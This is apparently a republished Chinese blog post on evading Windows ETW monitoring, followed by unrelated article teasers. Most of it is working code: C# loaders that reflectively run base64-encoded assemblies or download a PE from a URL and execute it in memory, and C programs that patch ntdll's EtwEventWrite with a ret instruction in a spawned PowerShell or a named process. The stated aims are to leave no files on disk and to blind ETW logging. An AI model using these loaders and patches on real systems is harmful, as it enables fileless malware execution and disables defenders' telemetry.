浅谈bypass Etw

文章目录

    • c#
    • ExecuteAssembly
    • bypass etw

c#

在这里插入图片描述

loader

一种是通过反射找到指定空间的类中method进行Invoke

另一种是通过EntryPoint.Invoke加载

反射加载

Assembly.Load()是从String或AssemblyName类型加载程序集,可以读取字符串形式的程序集
Assembly.LoadFrom()从指定文件中加载程序集,同时会加载目标程序集所引用和依赖的其他程序集。
Assembly.LoadFile()也是从指定文件中加载程序集,但不会加载目标程序集所引用和依赖的其他程序集。

a.cs

using System;
using System.Diagnostics;
namespace DemoExe
{class Program{static void Main(string[] args){Console.WriteLine("DemoExe Run!!");}}public class Test{public static void TestMethod(){Process p = new Process();p.StartInfo.FileName = "C:\\windows\\system32\\calc.exe";p.Start();}}
}
csc /out:test.exe .\a.cs

create.cs

using System;
namespace Tobase64
{class Program{static void Main(string[] args){byte[] base64Buff = File.ReadAllBytes("E:\\tmp\\c#test\\test.exe");string base64string = Convert.ToBase64String(base64Buff);Console.WriteLine(base64string);}}
}

loader.cs

using System;
using System.Reflection;
namespace LoadExe
{class Program{static void Main(string[] args){string base64string = @"";byte[] Buffer = Convert.FromBase64String(base64string);Assembly assembly = Assembly.Load(Buffer);Type type = assembly.GetType("DemoExe.Test");MethodInfo method = type.GetMethod("TestMethod");Object obj = assembly.CreateInstance(method.Name);method.Invoke(obj, null);}}
}

远程拉取

using System;
using System.Net;
using System.Reflection;namespace demo1
{class Program{static void Main(string[] args){string fileDownloadurl = null;string filedownloadtype = null;byte[] filebuffer = null;try{fileDownloadurl = args[1];filedownloadtype = args[0];}catch{Console.WriteLine("\n加载远程exe文件到内存执行:sflcsharp.exe -b exe文件的url");Console.WriteLine("\n加载远程base64密文文件到内存执行:为sflcsharp.exe -b64 b64文件的url");Environment.Exit(0);}if (filedownloadtype == "-b"){filebuffer = Downloadbinarypefilebyhttp(fileDownloadurl);}if (filedownloadtype == "-b64"){filebuffer = downloadbase64(fileDownloadurl);}if (filebuffer != null){Console.WriteLine("正在将下载下来的程序加载到当前用户的内存中");Assembly assemblyinstance = Assembly.Load(filebuffer);  //将下载下来的程序加载到当前用户的内存中Console.WriteLine("正在寻找程序入口点并执行程序");assemblyinstance.EntryPoint.Invoke(null, new object[] { null }); //找到程序的入口点并执行程序Console.WriteLine("\n程序执行完毕");}}public static byte[] Downloadbinarypefilebyhttp(string url){Console.WriteLine("\n创建WebClient类用来下载PE文件");WebClient downloadwebclient = new WebClient();  //这个类可以从指定url上下载或者上传数据Console.WriteLine("\n下载文件后自动保存为byte[]格式\n");byte[] test = downloadwebclient.DownloadData(url);return test;}public static byte[] downloadbase64(string url){Console.WriteLine("\n创建WebClient类用来下载base64密文文件,下载到的数据按照字符串格式保存在内存");WebClient downloadwebclient = new WebClient();  //这个类可以从指定url上下载或者上传数据string b64 = downloadwebclient.DownloadString(url);Console.WriteLine("将base64字符串转换为byte[]类型的数据");byte[] test = Convert.FromBase64String(b64);return test;}}
}

ExecuteAssembly

简介

功能通过在目标机器的内存中加载.NET程序集并执行它,而不需要将程序集写入到磁盘,避免在磁盘上留下可疑的文件,从而绕过某些基于文件扫描的防御手段。

过程

1 加载CLR环境 2 获取程序域 3 装载程序集 4 执行程序集

bypass etw

程序集被调用的一些信息被记录,需要bypass etw

在这里插入图片描述

Patch EtwEventWrite Function

Patch EtwEventWrite或者EtwEventWriteFull

xdb分析略,修改ntdll中EtwEventWrite直接ret(c3),重新获取Etw则会返回超时

在这里插入图片描述

c语言实现

#include <Windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
void bypassetw()
{STARTUPINFOA si = { 0 };PROCESS_INFORMATION pi = { 0 };si.cb = sizeof(si);CreateProcessA(NULL, (LPSTR)"powershell -NoExit", NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi);unsigned char EtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0 };HMODULE hNtdll = GetModuleHandleA("ntdll.dll");LPVOID pEtwEventWrite = GetProcAddress(hNtdll, (LPCSTR)EtwEventWrite);DWORD oldProtect,ool=0;char patch = 0xc3;VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);WriteProcessMemory(pi.hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char), NULL);VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, &ool);ResumeThread(pi.hThread);CloseHandle(pi.hProcess);CloseHandle(pi.hThread);FreeLibrary(hNtdll);
}
int main() {bypassetw();return 0;
}

远程指定进程bypass,将之前写的远程进程注入稍微修改即可

#include <windows.h>
#include <stdio.h>
#include <TlHelp32.h>
typedef FARPROC
(WINAPI* pGetProcAddress)(_In_ HMODULE hModule,_In_ LPCSTR lpProcName);
typedef HMODULE
(WINAPI* pLoadLibraryA)(_In_ LPCSTR lpLibFileName);BOOL mydllinject(DWORD pid);
DWORD fun(LPCTSTR ProcessName);
int main()
{DWORD pid = 0;pid = fun(L"cc.exe");printf("pid:%u\n", pid);mydllinject(pid);system("pause");return 0;
}BOOL mydllinject(DWORD pid)
{HMODULE hMod = GetModuleHandle(L"kernel32.dll");pGetProcAddress pThreadProc = (pGetProcAddress)GetProcAddress(hMod, "LoadLibraryW");HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);if (hProcess == NULL){return FALSE;}char patch = 0xc3;unsigned char EtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0 };HMODULE hNtdll = GetModuleHandleA("ntdll.dll");LPVOID pEtwEventWrite = GetProcAddress(hNtdll, (LPCSTR)EtwEventWrite);DWORD oldProtect, ool = 0;printf("%x\n", pEtwEventWrite);VirtualProtectEx(hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);WriteProcessMemory(hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char), NULL);VirtualProtectEx(hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, &ool);
}
DWORD fun(LPCTSTR ProcessName)
{HANDLE hProceessnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hProceessnap == INVALID_HANDLE_VALUE){printf_s("创建进行快照失败\n");return 0;}else{PROCESSENTRY32 pe32;pe32.dwSize = sizeof(pe32);BOOL hProcess = Process32First(hProceessnap, &pe32);while (hProcess){if (_wcsicmp(ProcessName, pe32.szExeFile) == 0){return pe32.th32ProcessID;}hProcess = Process32Next(hProceessnap, &pe32);}}CloseHandle(hProceessnap);return 0;
}

效果展示,成功致盲Etw对cc.exe的监测

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/671973.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JVM内存分析与优化

JVM内存模型分析 在minor gc过程中对象挪动后&#xff0c;引用如何修改&#xff1f; 对象在堆内部挪动的过程其实是复制&#xff0c;原有区域对象还在&#xff0c;一般不直接清理&#xff0c;JVM内部清理过程只是将对象分配指针移动到区域的头位置即可&#xff0c;比如扫描s0区…

零基础学编程从哪里入手,在学习中可以线上会议答疑解惑

一、前言 零基础学编程可以先从容易学的语言入手&#xff0c;比如中文编程&#xff0c;然后再学其他编程语言则会比较轻松&#xff0c;初步掌握编程思路。很多IT人士一般学2到3种编程语言。 今天给大家分享的中文编程开发语言工具资料如下&#xff1a; 编程入门视频教程链接…

速度规划:s形曲线应用(变速 停车)opencv c++显示(3)

理论篇 先看该篇&#xff0c;这里沿用了里面的变量。 应用推导篇 分为变速和停车两部分&#xff08;字迹潦草&#xff0c;可结合代码看&#xff09; 代码篇 变速函数入口&#xff1a; velocityPlanner vp; vp.SetParameters(0, 1);停车函数入口&#xff1a; ParkingVelo…

uniCloud ---- schema2code

目录 schema2code有两种方式 label属性 component属性 group属性 应用 DB Schema里有大量的信息&#xff0c;其实有了这些信息&#xff0c;前端将无需自己开发表单维护界面&#xff0c;uniCloud可以自动生成新增、修改、列表、详情的前端页面&#xff0c;以及admin端的列…

电脑小白必看:如何备份电脑系统?

电脑系统坏了怎么办&#xff1f;扛着自己的笔记本或是台式机的主机去电脑修理店花几十上百重装系统&#xff1f;或是自己用光盘或是U盘启动盘花费数小时重新安装系统&#xff1f;还在为系统问题发愁吗&#xff1f;今天&#xff0c;小编给大家一个简单的方法&#xff0c;让你免去…

ERP 系统架构的设计与实践总结

企业资源计划&#xff08;ERP&#xff09;系统是一种集成多个业务功能的综合性软件解决方案。在设计和实践 ERP 系统架构时&#xff0c;需要考虑诸多因素&#xff0c;以确保系统能够满足企业的需求&#xff0c;并提供高效、可靠、安全的服务。本文将介绍一些关键的设计原则和实…

2024Node.js零基础教程(小白友好型),nodejs新手到高手,(六)NodeJS入门——http模块

047_http模块_获取请求行和请求头 hello&#xff0c;大家好&#xff0c;那第二节我们来介绍一下如何在这个服务当中来提取 HTT 请求报文的相关内容。首先先说一下关于报文的提取的方法&#xff0c;我在这个文档当中都已经记录好了&#xff0c;方便大家后续做一个快速的查阅。 …

图像处理之《生成隐写流》论文阅读

一、文章摘要 生成隐写术(GS)是一种新的数据隐藏方式&#xff0c;其特点是直接从秘密数据生成隐写介质。现有的GS方法通常因性能差而受到批评。本文提出了一种新的基于流的GS方法——生成隐写流(GSF)&#xff0c;该方法可以直接生成隐写图像而不需要封面图像。我们将隐写图像生…

简单实验 spring cloud gateWay 路由实验 实验

1.概要 1.1 说明 微服务统一网关实验&#xff0c;这里简单实验一下路由的功能 1.2 实验步骤&#xff0c;使用下面这个工程作为基础工程添加了一个gateWay做如下使用 简单实践 spring cloud nacos nacos-server-2.3.0-CSDN博客 2 代码 2.1 工程文件 <?xml version&quo…

Qt程序设计-导出PDF

本文讲解如何实现导出PDF,包含如何使用HTML格式和添加图片。 实例如下: 创建项目,添加两个按钮,并在D盘提前准备好图片。 窗体的头文件 #ifndef MAINWINDOW_H #define MAINWINDOW_H#include <QMainWindow>#include <QPrinter> #include <QPainter> #i…

泰雷兹和Quantinuum推出入门套件,帮助企业为未来的后量子加密变革做好准备

•新的解决方案——PQC入门套件(PQC Starter Kit)为用户提供了一种快速、简便的方法&#xff0c;用于测试和衡量其在后量子时代防范量子计算攻击的准备情况 •随着量子计算逐渐成熟&#xff0c;企业为后量子时代做好准备并培养加密灵活性&#xff0c;对于降低数据泄露风险至关重…

Win32 SDK Gui编程系列之--ListView自绘OwnerDraw

ListView自绘OwnerDraw 1.ListView自绘OwnerDraw 正在试错是否使用了列表视图,尽量制作出智能的表格编辑器。本页显示了业主抽签的表格数据(二维数组数据)的显示方法。 显示画面和整个程序如下所示。使用ListView_GetSubItemRect宏的话,就不需要getRect函数了。 当nCol的…

10-树-从中序与后序遍历序列构造二叉树

这是树的第10篇算法&#xff0c;力扣链接。 给定两个整数数组 inorder 和 postorder &#xff0c;其中 inorder 是二叉树的中序遍历&#xff0c; postorder 是同一棵树的后序遍历&#xff0c;请你构造并返回这颗 二叉树 。 示例 1: 输入&#xff1a;inorder [9,3,15,20,7], po…

WebAssembly002 FFmpegWasmLocalServer项目

项目介绍 https://github.com/incubated-geek-cc/FFmpegWasmLocalServer.git可将音频或视频文件转换为其他可选的多媒体格式&#xff0c;并导出转码的结果 $ bash run.sh FFmpeg App is listening on port 3000!运行效果 相关依赖 Error: Cannot find module ‘express’ …

由vscode自动升级导致的“终端可以ssh服务器,但是vscode无法连接服务器”

问题描述 简单来说就是&#xff0c;ssh配置没动&#xff0c;前两天还可以用vscode连接服务器&#xff0c;今天突然就连不上了&#xff0c;但是用本地终端ssh可以顺利连接。 连接情况 我的ssh配置如下&#xff1a; Host gpu3HostName aaaUser zwx现在直接在终端中进行ssh&am…

ElastAlert 错误日志告警

文章目录 前言一、ElastAlert 概览1.1 简介1.2 ElastAlert 特性 二、ElastAlert 下载部署2.1 安装 Python3 环境2.2 下载 ElastAlert2.3 部署 ElastAlert 三、接入平台3.1 对外接口层3.2 服务层 前言 ElastAlert 是 Yelp 公司基于 python 开发的 ELK 日志告警插件&#xff0c;…

Stata学习(1)

一、五大窗口 Command窗口&#xff1a;实现人机交互 来导入一个自带数据&#xff1a; sysuse是导入系统自带的数据&#xff0c;auto导入该数据的名称&#xff0c;后面的clear是清除之前的数据 结果窗口&#xff1a;展示计算结果、查找功能 在Edit的find可以实现查找功能&#…

Nacos安装,服务注册,负载均衡配置,权重配置以及环境隔离

1. 安装 首先从官网下载 nacos 安装包&#xff0c;注意是下载 nacos-server Nacos官网 | Nacos 官方社区 | Nacos 下载 | Nacos 下载完毕后&#xff0c;解压找到文件夹bin&#xff0c;文本打开startup.cmd 修改配置如下 然后双击 startup.cmd 启动 nacos服务&#xff0c;默认…

【经验分享】如何高效管理Jmeter的接口测试用例?

Test Fragment 测试片段元素是控制器上的一个种特殊的线程组&#xff0c;它在测试树上与线程组处于一个层级。它与线程组有所不同&#xff0c;它不被执行&#xff0c;当它是一个模块控制器或者是被控制器所引用时才会被执行 添加Test Fragment的步骤&#xff1a; 目前接口的组…

微信小程序的图片色彩分析,窃取主色调,调色板

1、在微信小程序中创建包管理器 package.json npm init -y 2、安装 Mini App Color Thief 包 npm i --save miniapp-color-thief 3、构建 npm 4、wxml <canvas canvas-id"myCanvas"></canvas> <button bindtap"chooseImage">chooseIm…